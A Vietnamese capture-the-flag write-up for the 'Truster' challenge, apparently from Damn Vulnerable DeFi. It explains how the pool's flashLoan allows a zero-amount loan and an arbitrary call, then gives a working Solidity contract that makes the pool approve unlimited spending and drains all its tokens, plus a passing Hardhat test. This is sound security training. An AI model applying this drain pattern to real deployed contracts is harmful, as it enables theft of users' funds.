Challenge #3 - Truster
Nhiệm vụ: Lần này ta có một pool cho phép flashloan không tính phí. Hiện giờ trong pool có 1M DVT token, ta thì đang không có gì. Mục tiêu của ta là lấy hết số token đó trong pool trong một transaction duy nhất.
Phân tích
Lending pool cung cấp cho chúng ta một hàm flashLoan
như sau
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
)
sau khi thực hiện cho vay thì sẽ tiến hành hoàn trả bằng call
với data
trên target
damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);
ở đây có một vài điểm ta có thể khai thác:
- không check điều kiện
borrowAmount > 0
- gọi hàm bất kì trên target bất kì do ta đưa vào
Do đó ta có hướng khai thác như sau:
- tiến hành flash loan với
borrowAmount = 0
để đỡ phải tiến hành hoàn trả - gọi hàm
approve
trêntarget
làtoken
để ta có quyền rút tiền từ pool - tiến hành rút tiền từ pool
- gói gọn tất cả lại trong 1 transaction bằng cách đưa chúng vào trong constructor của một contract mới
Exploit
Chuẩn bị contract tấn công như sau:
contract RektTruster {
constructor(address poolAddress, address tokenAddress) {
TrusterLenderPool pool = TrusterLenderPool(poolAddress);
IERC20 token = IERC20(tokenAddress);
pool.flashLoan(
0,
address(this),
tokenAddress,
abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
type(uint256).max
)
);
token.transferFrom(
poolAddress,
tx.origin,
token.balanceOf(poolAddress)
);
}
}
Tiến hành deploy là xong:
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const RektTruster = await ethers.getContractFactory("RektTruster", attacker);
await RektTruster.deploy(this.pool.address, this.token.address);
});
Check lại kết quả
[Challenge] Truster
✓ Exploit (213ms)
1 passing (705ms)
All done!